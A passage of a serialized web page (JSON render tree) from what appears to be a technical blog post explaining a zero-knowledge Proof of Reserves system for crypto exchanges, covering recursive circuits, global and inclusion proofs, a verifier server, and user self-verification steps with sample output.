1,98036,98041,98046,98051,98056,98061,98066,98071,98076,98081,98086,98091,98096,98101,98106,98111,98116,98121,98126],{"type":24,"tag":90,"props":97896,"children":97898},{"className":97897,"style":94819},[6390],[],{"type":24,"tag":90,"props":97900,"children":97902},{"className":97901},[6396,23384],[97903],{"type":29,"value":13020},{"type":24,"tag":90,"props":97905,"children":97907},{"className":97906},[6396,23384],[97908],{"type":29,"value":95136},{"type":24,"tag":90,"props":97910,"children":97912},{"className":97911},[6396,23384],[97913],{"type":29,"value":5617},{"type":24,"tag":90,"props":97915,"children":97917},{"className":97916},[6396,23384],[97918],{"type":29,"value":25},{"type":24,"tag":90,"props":97920,"children":97922},{"className":97921},[6396,23384],[97923],{"type":29,"value":97223},{"type":24,"tag":90,"props":97925,"children":97927},{"className":97926},[6396],[97928,97933],{"type":24,"tag":90,"props":97929,"children":97931},{"className":97930,"style":97231},[6396,23384],[97932],{"type":29,"value":34899},{"type":24,"tag":90,"props":97934,"children":97936},{"className":97935},[6412],[97937],{"type":24,"tag":90,"props":97938,"children":97940},{"className":97939},[6417,23438],[97941,97970],{"type":24,"tag":90,"props":97942,"children":97944},{"className":97943},[6422],[97945,97965],{"type":24,"tag":90,"props":97946,"children":97948},{"className":97947,"style":95406},[6427],[97949],{"type":24,"tag":90,"props":97950,"children":97951},{"style":97252},[97952,97956],{"type":24,"tag":90,"props":97953,"children":97955},{"className":97954,"style":6437},[6436],[],{"type":24,"tag":90,"props":97957,"children":97959},{"className":97958},[6442,6443,6444,6445],[97960],{"type":24,"tag":90,"props":97961,"children":97963},{"className":97962},[6396,23384,6445],[97964],{"type":29,"value":6123},{"type":24,"tag":90,"props":97966,"children":97968},{"className":97967},[23541],[97969],{"type":29,"value":23544},{"type":24,"tag":90,"props":97971,"children":97973},{"className":97972},[6422],[97974],{"type":24,"tag":90,"props":97975,"children":97977},{"className":97976,"style":94960},[6427],[97978],{"type":24,"tag":90,"props":97979,"children":97980},{},[],{"type":24,"tag":90,"props":97982,"children":97984},{"className":97983},[6396],[97985],{"type":29,"value":226},{"type":24,"tag":90,"props":97987,"children":97989},{"className":97988},[6396,23384],[97990],{"type":29,"value":25},{"type":24,"tag":90,"props":97992,"children":97994},{"className":97993},[6396,23384],[97995],{"type":29,"value":95136},{"type":24,"tag":90,"props":97997,"children":97999},{"className":97998},[6396,23384],[98000],{"type":29,"value":5617},{"type":24,"tag":90,"props":98002,"children":98004},{"className":98003,"style":94889},[6396,23384],[98005],{"type":29,"value":94892},{"type":24,"tag":90,"props":98007,"children":98009},{"className":98008},[6396,23384],[98010],{"type":29,"value":6123},{"type":24,"tag":90,"props":98012,"children":98014},{"className":98013},[6396,23384],[98015],{"type":29,"value":3030},{"type":24,"tag":90,"props":98017,"children":98019},{"className":98018,"style":94877},[6396],[98020],{"type":29,"value":5482},{"type":24,"tag":90,"props":98022,"children":98024},{"className":98023},[6396,23384],[98025],{"type":29,"value":97328},{"type":24,"tag":90,"props":98027,"children":98029},{"className":98028},[6396,23384],[98030],{"type":29,"value":25},{"type":24,"tag":90,"props":98032,"children":98034},{"className":98033},[6396,23384],[98035],{"type":29,"value":95136},{"type":24,"tag":90,"props":98037,"children":98039},{"className":98038},[6396,23384],[98040],{"type":29,"value":23526},{"type":24,"tag":90,"props":98042,"children":98044},{"className":98043},[6396],[98045],{"type":29,"value":226},{"type":24,"tag":90,"props":98047,"children":98049},{"className":98048},[6396,23384],[98050],{"type":29,"value":69},{"type":24,"tag":90,"props":98052,"children":98054},{"className":98053},[6396,23384],[98055],{"type":29,"value":94868},{"type":24,"tag":90,"props":98057,"children":98059},{"className":98058},[6396,23384],[98060],{"type":29,"value":23526},{"type":24,"tag":90,"props":98062,"children":98064},{"className":98063,"style":94877},[6396],[98065],{"type":29,"value":5482},{"type":24,"tag":90,"props":98067,"children":98069},{"className":98068},[6396,23384],[98070],{"type":29,"value":25},{"type":24,"tag":90,"props":98072,"children":98074},{"className":98073,"style":94877},[6396,23384],[98075],{"type":29,"value":95696},{"type":24,"tag":90,"props":98077,"children":98079},{"className":98078},[6396,23384],[98080],{"type":29,"value":6123},{"type":24,"tag":90,"props":98082,"children":98084},{"className":98083},[6396,23384],[98085],{"type":29,"value":95707},{"type":24,"tag":90,"props":98087,"children":98089},{"className":98088},[23513],[98090],{"type":29,"value":719},{"type":24,"tag":90,"props":98092,"children":98094},{"className":98093},[6396,23384],[98095],{"type":29,"value":69},{"type":24,"tag":90,"props":98097,"children":98099},{"className":98098},[6396,23384],[98100],{"type":29,"value":94868},{"type":24,"tag":90,"props":98102,"children":98104},{"className":98103},[6396,23384],[98105],{"type":29,"value":23526},{"type":24,"tag":90,"props":98107,"children":98109},{"className":98108,"style":94877},[6396],[98110],{"type":29,"value":5482},{"type":24,"tag":90,"props":98112,"children":98114},{"className":98113},[6396,23384],[98115],{"type":29,"value":58228},{"type":24,"tag":90,"props":98117,"children":98119},{"className":98118},[6396,23384],[98120],{"type":29,"value":95136},{"type":24,"tag":90,"props":98122,"children":98124},{"className":98123},[6396,23384],[98125],{"type":29,"value":52957},{"type":24,"tag":90,"props":98127,"children":98129},{"className":98128},[23535],[98130],{"type":29,"value":1914},{"type":29,"value":2877},{"type":24,"tag":7711,"props":98133,"children":98134},{},[98135],{"type":29,"value":98136},"(verifies if all asset prices are the same)",{"type":24,"tag":3104,"props":98138,"children":98139},{},[98140,98519,98520],{"type":24,"tag":32,"props":98141,"children":98143},{"className":98142},[6368,6369],[98144],{"type":24,"tag":90,"props":98145,"children":98147},{"className":98146},[6374],[98148],{"type":24,"tag":90,"props":98149,"children":98151},{"className":98150,"ariaHidden":6380},[6379],[98152,98233],{"type":24,"tag":90,"props":98153,"children":98155},{"className":98154},[6385],[98156,98160,98165,98170,98175,98180,98185,98190,98195,98200,98205,98210,98215,98220,98224,98229],{"type":24,"tag":90,"props":98157,"children":98159},{"className":98158,"style":96290},[6390],[],{"type":24,"tag":90,"props":98161,"children":98163},{"className":98162},[6396,23384],[98164],{"type":29,"value":52957},{"type":24,"tag":90,"props":98166,"children":98168},{"className":98167,"style":94877},[6396,23384],[98169],{"type":29,"value":96302},{"type":24,"tag":90,"props":98171,"children":98173},{"className":98172,"style":96306},[6396,23384],[98174],{"type":29,"value":90514},{"type":24,"tag":90,"props":98176,"children":98178},{"className":98177,"style":94889},[6396,23384],[98179],{"type":29,"value":94892},{"type":24,"tag":90,"props":98181,"children":98183},{"className":98182},[6396,23384],[98184],{"type":29,"value":53278},{"type":24,"tag":90,"props":98186,"children":98188},{"className":98187,"style":94877},[6396],[98189],{"type":29,"value":5482},{"type":24,"tag":90,"props":98191,"children":98193},{"className":98192},[6396,23384],[98194],{"type":29,"value":23526},{"type":24,"tag":90,"props":98196,"children":98198},{"className":98197},[6396,23384],[98199],{"type":29,"value":96334},{"type":24,"tag":90,"props":98201,"children":98203},{"className":98202,"style":94877},[6396],[98204],{"type":29,"value":5482},{"type":24,"tag":90,"props":98206,"children":98208},{"className":98207},[6396,23384],[98209],{"type":29,"value":96345},{"type":24,"tag":90,"props":98211,"children":98213},{"className":98212},[6396,23384],[98214],{"type":29,"value":13020},{"type":24,"tag":90,"props":98216,"children":98218},{"className":98217},[6396,23384],[98219],{"type":29,"value":86175},{"type":24,"tag":90,"props":98221,"children":98223},{"className":98222,"style":6573},[6475],[],{"type":24,"tag":90,"props":98225,"children":98227},{"className":98226},[6578],[98228],{"type":29,"value":10951},{"type":24,"tag":90,"props":98230,"children":98232},{"className":98231,"style":6573},[6475],[],{"type":24,"tag":90,"props":98234,"children":98236},{"className":98235},[6385],[98237,98241,98246,98251,98256,98261,98266,98271,98276,98281,98286,98343,98348,98352,98357,98362,98419,98424,98428,98433,98438,98442,98447,98452,98514],{"type":24,"tag":90,"props":98238,"children":98240},{"className":98239,"style":6496},[6390],[],{"type":24,"tag":90,"props":98242,"children":98244},{"className":98243,"style":23385},[6396,23384],[98245],{"type":29,"value":23388},{"type":24,"tag":90,"props":98247,"children":98249},{"className":98248},[6396,23384],[98250],{"type":29,"value":94831},{"type":24,"tag":90,"props":98252,"children":98254},{"className":98253},[6396,23384],[98255],{"type":29,"value":6123},{"type":24,"tag":90,"props":98257,"children":98259},{"className":98258},[6396,23384],[98260],{"type":29,"value":72392},{"type":24,"tag":90,"props":98262,"children":98264},{"className":98263},[6396,23384],[98265],{"type":29,"value":94847},{"type":24,"tag":90,"props":98267,"children":98269},{"className":98268},[6396,23384],[98270],{"type":29,"value":58228},{"type":24,"tag":90,"props":98272,"children":98274},{"className":98273},[23513],[98275],{"type":29,"value":117},{"type":24,"tag":90,"props":98277,"children":98279},{"className":98278},[6396,23384],[98280],{"type":29,"value":96345},{"type":24,"tag":90,"props":98282,"children":98284},{"className":98283},[6396,23384],[98285],{"type":29,"value":13020},{"type":24,"tag":90,"props":98287,"children":98289},{"className":98288},[6396],[98290,98295],{"type":24,"tag":90,"props":98291,"children":98293},{"className":98292},[6396,23384],[98294],{"type":29,"value":86175},{"type":24,"tag":90,"props":98296,"children":98298},{"className":98297},[6412],[98299],{"type":24,"tag":90,"props":98300,"children":98302},{"className":98301},[6417,23438],[98303,98332],{"type":24,"tag":90,"props":98304,"children":98306},{"className":98305},[6422],[98307,98327],{"type":24,"tag":90,"props":98308,"children":98310},{"className":98309,"style":94929},[6427],[98311],{"type":24,"tag":90,"props":98312,"children":98313},{"style":94933},[98314,98318],{"type":24,"tag":90,"props":98315,"children":98317},{"className":98316,"style":6437},[6436],[],{"type":24,"tag":90,"props":98319,"children":98321},{"className":98320},[6442,6443,6444,6445],[98322],{"type":24,"tag":90,"props":98323,"children":98325},{"className":98324},[6396,6445],[98326],{"type":29,"value":6408},{"type":24,"tag":90,"props":98328,"children":98330},{"className":98329},[23541],[98331],{"type":29,"value":23544},{"type":24,"tag":90,"props":98333,"children":98335},{"className":98334},[6422],[98336],{"type":24,"tag":90,"props":98337,"children":98339},{"className":98338,"style":94960},[6427],[98340],{"type":24,"tag":90,"props":98341,"children":98342},{},[],{"type":24,"tag":90,"props":98344,"children":98346},{"className":98345},[6507],[98347],{"type":29,"value":6510},{"type":24,"tag":90,"props":98349,"children":98351},{"className":98350,"style":6514},[6475],[],{"type":24,"tag":90,"props":98353,"children":98355},{"className":98354},[6396,23384],[98356],{"type":29,"value":96345},{"type":24,"tag":90,"props":98358,"children":98360},{"className":98359},[6396,23384],[98361],{"type":29,"value":13020},{"type":24,"tag":90,"props":98363,"children":98365},{"className":98364},[6396],[98366,98371],{"type":24,"tag":90,"props":98367,"children":98369},{"className":98368},[6396,23384],[98370],{"type":29,"value":86175},{"type":24,"tag":90,"props":98372,"children":98374},{"className":98373},[6412],[98375],{"type":24,"tag":90,"props":98376,"children":98378},{"className":98377},[6417,23438],[98379,98408],{"type":24,"tag":90,"props":98380,"children":98382},{"className":98381},[6422],[98383,98403],{"type":24,"tag":90,"props":98384,"children":98386},{"className":98385,"style":94929},[6427],[98387],{"type":24,"tag":90,"props":98388,"children":98389},{"style":94933},[98390,98394],{"type":24,"tag":90,"props":98391,"children":98393},{"className":98392,"style":6437},[6436],[],{"type":24,"tag":90,"props":98395,"children":98397},{"className":98396},[6442,6443,6444,6445],[98398],{"type":24,"tag":90,"props":98399,"children":98401},{"className":98400},[6396,6445],[98402],{"type":29,"value":534},{"type":24,"tag":90,"props":98404,"children":98406},{"className":98405},[23541],[98407],{"type":29,"value":23544},{"type":24,"tag":90,"props":98409,"children":98411},{"className":98410},[6422],[98412],{"type":24,"tag":90,"props":98413,"children":98415},{"className":98414,"style":94960},[6427],[98416],{"type":24,"tag":90,"props":98417,"children":98418},{},[],{"type":24,"tag":90,"props":98420,"children":98422},{"className":98421},[6507],[98423],{"type":29,"value":6510},{"type":24,"tag":90,"props":98425,"children":98427},{"className":98426,"style":6514},[6475],[],{"type":24,"tag":90,"props":98429,"children":98431},{"className":98430},[6396],[98432],{"type":29,"value":3013},{"type":24,"tag":90,"props":98434,"children":98436},{"className":98435},[6507],[98437],{"type":29,"value":6510},{"type":24,"tag":90,"props":98439,"children":98441},{"className":98440,"style":6514},[6475],[],{"type":24,"tag":90,"props":98443,"children":98445},{"className":98444},[6396,23384],[98446],{"type":29,"value":96345},{"type":24,"tag":90,"props":98448,"children":98450},{"className":98449},[6396,23384],[98451],{"type":29,"value":13020},{"type":24,"tag":90,"props":98453,"children":98455},{"className":98454},[6396],[98456,98461],{"type":24,"tag":90,"props":98457,"children":98459},{"className":98458},[6396,23384],[98460],{"type":29,"value":86175},{"type":24,"tag":90,"props":98462,"children":98464},{"className":98463},[6412],[98465],{"type":24,"tag":90,"props":98466,"children":98468},{"className":98467},[6417,23438],[98469,98503],{"type":24,"tag":90,"props":98470,"children":98472},{"className":98471},[6422],[98473,98498],{"type":24,"tag":90,"props":98474,"children":98476},{"className":98475,"style":94929},[6427],[98477],{"type":24,"tag":90,"props":98478,"children":98479},{"style":94933},[98480,98484],{"type":24,"tag":90,"props":98481,"children":98483},{"className":98482,"style":6437},[6436],[],{"type":24,"tag":90,"props":98485,"children":98487},{"className":98486},[6442,6443,6444,6445],[98488],{"type":24,"tag":90,"props":98489,"children":98491},{"className":98490},[6396,6445],[98492],{"type":24,"tag":90,"props":98493,"children":98495},{"className":98494},[6396,6445],[98496],{"type":29,"value":98497},"31",{"type":24,"tag":90,"props":98499,"children":98501},{"className":98500},[23541],[98502],{"type":29,"value":23544},{"type":24,"tag":90,"props":98504,"children":98506},{"className":98505},[6422],[98507],{"type":24,"tag":90,"props":98508,"children":98510},{"className":98509,"style":94960},[6427],[98511],{"type":24,"tag":90,"props":98512,"children":98513},{},[],{"type":24,"tag":90,"props":98515,"children":98517},{"className":98516},[23535],[98518],{"type":29,"value":517},{"type":29,"value":2877},{"type":24,"tag":7711,"props":98521,"children":98522},{},[98523],{"type":29,"value":96665},{"type":24,"tag":3104,"props":98525,"children":98526},{},[98527,98532,98533],{"type":24,"tag":842,"props":98528,"children":98529},{},[98530],{"type":29,"value":98531},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":29,"value":2877},{"type":24,"tag":7711,"props":98534,"children":98535},{},[98536],{"type":29,"value":96949},{"type":24,"tag":25,"props":98538,"children":98539},{},[98540],{"type":29,"value":98541},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":24,"tag":25,"props":98543,"children":98544},{},[98545],{"type":24,"tag":6301,"props":98546,"children":98548},{"alt":52402,"src":98547},"/posts/por/recursive-circuit.png",[],{"type":24,"tag":850,"props":98550,"children":98552},{"id":98551},"global-proof-and-inclusion-proofs",[98553],{"type":29,"value":98554},"Global Proof and Inclusion Proofs",{"type":24,"tag":1019,"props":98556,"children":98557},{"id":11655},[98558],{"type":29,"value":98559},"Proving",{"type":24,"tag":25,"props":98561,"children":98562},{},[98563,98565,98571,98572,98578,98579,98585],{"type":29,"value":98564},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":24,"tag":32,"props":98566,"children":98568},{"className":98567},[],[98569],{"type":29,"value":98570},"merkle_tree.json",{"type":29,"value":133},{"type":24,"tag":32,"props":98573,"children":98575},{"className":98574},[],[98576],{"type":29,"value":98577},"final_proof.json",{"type":29,"value":8872},{"type":24,"tag":32,"props":98580,"children":98582},{"className":98581},[],[98583],{"type":29,"value":98584},"private_nonces.json",{"type":29,"value":98586}," files.",{"type":24,"tag":25,"props":98588,"children":98589},{},[98590],{"type":29,"value":98591},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":24,"tag":25,"props":98593,"children":98594},{},[98595,98597,98603,98605,98610],{"type":29,"value":98596},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":24,"tag":32,"props":98598,"children":98600},{"className":98599},[],[98601],{"type":29,"value":98602},"inclusion_proof_\u003Cid>.json",{"type":29,"value":98604},"). ",{"type":24,"tag":842,"props":98606,"children":98607},{},[98608],{"type":29,"value":98609},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":29,"value":226},{"type":24,"tag":1019,"props":98612,"children":98614},{"id":98613},"verifying",[98615],{"type":29,"value":98616},"Verifying",{"type":24,"tag":25,"props":98618,"children":98619},{},[98620],{"type":24,"tag":7711,"props":98621,"children":98622},{},[98623],{"type":29,"value":98624},"Global Proof",{"type":24,"tag":25,"props":98626,"children":98627},{},[98628,98630,98635,98636,98641],{"type":29,"value":98629},"To verify the global proof, the code deserializes the ",{"type":24,"tag":32,"props":98631,"children":98633},{"className":98632},[],[98634],{"type":29,"value":98570},{"type":29,"value":39366},{"type":24,"tag":32,"props":98637,"children":98639},{"className":98638},[],[98640],{"type":29,"value":98577},{"type":29,"value":98642}," files and performs these checks:",{"type":24,"tag":3100,"props":98644,"children":98645},{},[98646,98651,98656,98661,98687],{"type":24,"tag":3104,"props":98647,"children":98648},{},[98649],{"type":29,"value":98650},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":24,"tag":3104,"props":98652,"children":98653},{},[98654],{"type":29,"value":98655},"Verify the ZK final proof.",{"type":24,"tag":3104,"props":98657,"children":98658},{},[98659],{"type":29,"value":98660},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":24,"tag":3104,"props":98662,"children":98663},{},[98664,98666,98672,98674,98679,98680,98685],{"type":29,"value":98665},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":24,"tag":32,"props":98667,"children":98669},{"className":98668},[],[98670],{"type":29,"value":98671},"merkle_tree_hash",{"type":29,"value":98673}," public input. This ensures that the ",{"type":24,"tag":32,"props":98675,"children":98677},{"className":98676},[],[98678],{"type":29,"value":98570},{"type":29,"value":13360},{"type":24,"tag":32,"props":98681,"children":98683},{"className":98682},[],[98684],{"type":29,"value":98577},{"type":29,"value":98686}," are linked (they belong to the same global proof).",{"type":24,"tag":3104,"props":98688,"children":98689},{},[98690],{"type":29,"value":98691},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":24,"tag":25,"props":98693,"children":98694},{},[98695],{"type":24,"tag":7711,"props":98696,"children":98697},{},[98698],{"type":29,"value":98699},"Inclusion Proof",{"type":24,"tag":25,"props":98701,"children":98702},{},[98703,98705,98710,98712,98717],{"type":29,"value":98704},"To verify the inclusion proof, the code deserializes the ",{"type":24,"tag":32,"props":98706,"children":98708},{"className":98707},[],[98709],{"type":29,"value":98602},{"type":29,"value":98711}," file and also the ",{"type":24,"tag":32,"props":98713,"children":98715},{"className":98714},[],[98716],{"type":29,"value":98577},{"type":29,"value":98718},". After that, it performs these checks:",{"type":24,"tag":3100,"props":98720,"children":98721},{},[98722,98726,98731,98736],{"type":24,"tag":3104,"props":98723,"children":98724},{},[98725],{"type":29,"value":98655},{"type":24,"tag":3104,"props":98727,"children":98728},{},[98729],{"type":29,"value":98730},"Verify if the Merkle tree root is the same as in the final proof.",{"type":24,"tag":3104,"props":98732,"children":98733},{},[98734],{"type":29,"value":98735},"Recalculate the user-related node leaf hash.",{"type":24,"tag":3104,"props":98737,"children":98738},{},[98739],{"type":29,"value":98740},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":24,"tag":850,"props":98742,"children":98744},{"id":98743},"por-verifier-server",[98745],{"type":29,"value":98746},"PoR Verifier Server",{"type":24,"tag":25,"props":98748,"children":98749},{},[98750,98752,98758],{"type":29,"value":98751},"To automate the verification process, we created a ",{"type":24,"tag":69,"props":98753,"children":98755},{"href":94388,"rel":98754},[73],[98756],{"type":29,"value":98757},"verifier server",{"type":29,"value":98759}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":24,"tag":25,"props":98761,"children":98762},{},[98763],{"type":29,"value":98764},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":24,"tag":25,"props":98766,"children":98767},{},[98768],{"type":24,"tag":6301,"props":98769,"children":98771},{"alt":52402,"src":98770},"/posts/por/backpack-por.png",[],{"type":24,"tag":25,"props":98773,"children":98774},{},[98775],{"type":29,"value":98776},"Here is a breakdown of what fields represent and why they are required:",{"type":24,"tag":3207,"props":98778,"children":98779},{},[98780,98790,98800,98810,98820,98830],{"type":24,"tag":3104,"props":98781,"children":98782},{},[98783,98788],{"type":24,"tag":7711,"props":98784,"children":98785},{},[98786],{"type":29,"value":98787},"Status",{"type":29,"value":98789}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":24,"tag":3104,"props":98791,"children":98792},{},[98793,98798],{"type":24,"tag":7711,"props":98794,"children":98795},{},[98796],{"type":29,"value":98797},"Proof Timestamp",{"type":29,"value":98799}," --> when the proof was generated by the exchange.",{"type":24,"tag":3104,"props":98801,"children":98802},{},[98803,98808],{"type":24,"tag":7711,"props":98804,"children":98805},{},[98806],{"type":29,"value":98807},"Verify Timestamp",{"type":29,"value":98809}," --> when the proof was verified by the PoR server.",{"type":24,"tag":3104,"props":98811,"children":98812},{},[98813,98818],{"type":24,"tag":7711,"props":98814,"children":98815},{},[98816],{"type":29,"value":98817},"Proof File URL",{"type":29,"value":98819}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":24,"tag":3104,"props":98821,"children":98822},{},[98823,98828],{"type":24,"tag":7711,"props":98824,"children":98825},{},[98826],{"type":29,"value":98827},"Prover Version",{"type":29,"value":98829}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":24,"tag":3104,"props":98831,"children":98832},{},[98833,98838],{"type":24,"tag":7711,"props":98834,"children":98835},{},[98836],{"type":29,"value":98837},"File Hash (SHA256)",{"type":29,"value":98839}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":24,"tag":25,"props":98841,"children":98842},{},[98843],{"type":29,"value":98844},"Also, you can check the exchange's liabilities on the website:",{"type":24,"tag":25,"props":98846,"children":98847},{},[98848],{"type":24,"tag":6301,"props":98849,"children":98851},{"alt":52402,"src":98850},"/posts/por/backpack-por-liabilities.png",[],{"type":24,"tag":25,"props":98853,"children":98854},{},[98855,98857,98863,98865,98871],{"type":29,"value":98856},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":24,"tag":69,"props":98858,"children":98861},{"href":98859,"rel":98860},"https://backpack.exchange/reserves",[73],[98862],{"type":29,"value":98859},{"type":29,"value":98864}," and our verifier server for backpack at ",{"type":24,"tag":69,"props":98866,"children":98869},{"href":98867,"rel":98868},"https://backpack-por.osec.io/",[73],[98870],{"type":29,"value":98867},{"type":29,"value":226},{"type":24,"tag":850,"props":98873,"children":98875},{"id":98874},"self-verification",[98876],{"type":29,"value":98877},"Self-verification",{"type":24,"tag":25,"props":98879,"children":98880},{},[98881],{"type":29,"value":98882},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":24,"tag":1019,"props":98884,"children":98886},{"id":98885},"how-to-verify-if-i-was-included",[98887],{"type":29,"value":98888},"How to verify if I was included?",{"type":24,"tag":25,"props":98890,"children":98891},{},[98892],{"type":29,"value":98893},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":24,"tag":3100,"props":98895,"children":98896},{},[98897,98908,98926],{"type":24,"tag":3104,"props":98898,"children":98899},{},[98900,98907],{"type":24,"tag":69,"props":98901,"children":98904},{"href":98902,"rel":98903},"https://github.com/otter-sec/por_v2/releases",[73],[98905],{"type":29,"value":98906},"Download the PoRv2 executable from our github",{"type":29,"value":226},{"type":24,"tag":3104,"props":98909,"children":98910},{},[98911,98913,98918,98919,98924],{"type":29,"value":98912},"Download the inclusion and the final proof files from the exchange (",{"type":24,"tag":32,"props":98914,"children":98916},{"className":98915},[],[98917],{"type":29,"value":98602},{"type":29,"value":13360},{"type":24,"tag":32,"props":98920,"children":98922},{"className":98921},[],[98923],{"type":29,"value":98577},{"type":29,"value":98925},") and put the files in the same directory as the PoRv2 app.",{"type":24,"tag":3104,"props":98927,"children":98928},{},[98929,98931,98937],{"type":29,"value":98930},"Open the terminal and execute this: ",{"type":24,"tag":32,"props":98932,"children":98934},{"className":98933},[],[98935],{"type":29,"value":98936},"./plonky2_por verify-inclusion",{"type":29,"value":226},{"type":24,"tag":25,"props":98939,"children":98940},{},[98941],{"type":29,"value":98942},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":24,"tag":80,"props":98944,"children":98946},{"code":98945},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[98947],{"type":24,"tag":32,"props":98948,"children":98949},{"__ignoreMap":7},[98950],{"type":29,"value":98945},{"type":24,"tag":1019,"props":98952,"children":98954},{"id":98953},"how-can-i-verify-the-global-proof",[98955],{"type":29,"value":98956},"How can I verify the global proof?",{"type":24,"tag":25,"props":98958,"children":98959},{},[98960],{"type":29,"value":98961},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":24,"tag":3100,"props":98963,"children":98964},{},[98965,98974,98992],{"type":24,"tag":3104,"props":98966,"children":98967},{},[98968,98973],{"type":24,"tag":69,"props":98969,"children":98971},{"href":98902,"rel":98970},[73],[98972],{"type":29,"value":98906},{"type":29,"value":226},{"type":24,"tag":3104,"props":98975,"children":98976},{},[98977,98979,98984,98985,98990],{"type":29,"value":98978},"Download the ",{"type":24,"tag":32,"props":98980,"children":98982},{"className":98981},[],[98983],{"type":29,"value":98570},{"type":29,"value":39366},{"type":24,"tag":32,"props":98986,"children":98988},{"className":98987},[],[98989],{"type":29,"value":98577},{"type":29,"value":98991}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":24,"tag":3104,"props":98993,"children":98994},{},[98995,98997,99002],{"type":29,"value":98996},"Open the terminal and execute ",{"type":24,"tag":32,"props":98998,"children":99000},{"className":98999},[],[99001],{"type":29,"value":98936},{"type":29,"value":99003},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":24,"tag":25,"props":99005,"children":99006},{},[99007],{"type":29,"value":99008},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":24,"tag":80,"props":99010,"children":99012},{"code":99011},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[99013],{"type":24,"tag":32,"props":99014,"children":99015},{"__ignoreMap":7},[99016],{"type":29,"value":99011},{"type":24,"tag":25,"props":99018,"children":99019},{},[99020],{"type":29,"value":99021},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":24,"tag":80,"props":99023,"children":99025},{"code":99024},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[99026],{"type":24,"tag":32,"props":99027,"children":99028},{"__ignoreMap":7},[99029],{"type":29,"value":99024},{"type":24,"tag":850,"props":99031,"children":99032},{"id":30743},[99033],{"type":29,"value":20741},{"type":24,"tag":25,"props":99035,"children":99036},{},[99037],{"type":29,"value":99038},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing 